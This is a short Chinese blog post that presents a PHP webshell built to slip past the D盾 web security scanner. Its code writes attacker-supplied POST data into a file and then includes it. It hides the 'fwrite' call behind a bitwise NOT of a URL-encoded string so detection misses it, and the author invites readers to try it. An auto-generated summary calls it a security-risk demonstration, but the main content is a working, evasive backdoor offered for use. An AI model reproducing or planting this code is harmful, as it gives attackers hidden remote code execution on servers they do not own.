一款过d盾PHP小马

最新推荐文章于 2022-08-29 23:58:13 发布

shadow wolf

最新推荐文章于 2022-08-29 23:58:13 发布

阅读量330

点赞数

分类专栏： api 算法文章标签： php 安全其他后端经验分享

本文链接：https://blog.csdn.net/qq_25017571/article/details/111187303

版权

算法同时被 2 个专栏收录

8 篇文章 1 订阅

订阅专栏

api

4 篇文章 0 订阅

订阅专栏

该博客展示了PHP环境中的一种潜在安全风险，通过POST参数和md5函数创建并写入文件，然后执行含有用户输入的PHP代码。讨论了如何利用rand()函数和urldecode进行文件操作，并提醒读者注意防止代码注入攻击。

摘要由CSDN通过智能技术生成

<?php
$_='%99%88%8D%96%8B%9A';
$pass='a';
$rand_=rand();
$a=$_POST[$pass];
$file=md5('shadowwolf');
$shell='<?php '.$a.' ?>';
$myfile = fopen($file, "w");
(~urldecode($_))($myfile, $shell);
include $file;

d盾测试·

可以自己测测看啊 qwq

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

shadow wolf

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
2
评论
一款过d盾PHP小马

<?php$_='%99%88%8D%96%8B%9A';$pass='a';$rand_=rand();$a=$_POST[$pass];$file=md5('shadowwolf');$shell='<?php '.$a.' ?>';$myfile = fopen($file, "w");(~urldecode($_))($myfile, $shell);include $file;可以自己测测看啊
复制链接

扫一扫